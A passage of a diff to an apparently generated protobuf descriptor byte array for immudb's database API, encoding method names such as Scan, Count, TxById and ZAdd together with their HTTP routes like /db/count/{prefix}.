0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, + 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x3a, + 0x01, 0x2a, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x6b, 0x65, + 0x79, 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, + 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, + 0x65, 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, + 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, + 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, + 0x63, 0x61, 0x6c, 0x6c, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, + 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, + 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, + 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, + 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, + 0x75, 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, + 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, + 0x53, 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0c, 0x3a, 0x01, 0x2a, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x88, - 0x02, 0x01, 0x12, 0x4d, 0x0a, 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x3a, 0x01, 0x2a, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, - 0x74, 0x12, 0x70, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, - 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x22, - 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, - 0x73, 0x65, 0x74, 0x12, 0x4d, 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0f, 0x12, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, - 0x79, 0x7d, 0x12, 0x73, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, + 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, + 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, + 0x12, 0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, + 0x42, 0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, + 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, - 0x3a, 0x01, 0x2a, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, 0x74, 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, - 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, - 0x72, 0x69, 0x65, 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, - 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x59, 0x0a, 0x07, 0x45, - 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, - 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, - 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, - 0x65, 0x73, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, - 0x64, 0x62, 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, - 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4b, 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, - 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, - 0x7d, 0x12, 0x53, 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, - 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, - 0x75, 0x6e, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, - 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, - 0x78, 0x7d, 0x12, 0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, - 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, - 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, - 0x6e, 0x12, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x3a, 0x01, - 0x2a, 0x22, 0x06, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, - 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, - 0x6f, 0x72, 0x79, 0x12, 0x6b, 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, - 0x6f, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, - 0x12, 0x55, 0x0a, 0x06, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x14, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, - 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, - 0x68, 0x12, 0x5d, 0x0a, 0x0c, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, - 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0x16, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x12, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, - 0x12, 0x65, 0x0a, 0x0c, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, - 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x15, 0x3a, 0x01, 0x2a, 0x22, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, - 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, - 0x63, 0x65, 0x12, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, - 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x20, 0x3a, 0x01, 0x2a, 0x22, 0x1b, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, - 0x63, 0x65, 0x12, 0x50, 0x0a, 0x04, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, - 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, - 0x7a, 0x61, 0x64, 0x64, 0x12, 0x73, 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, - 0x69, 0x66, 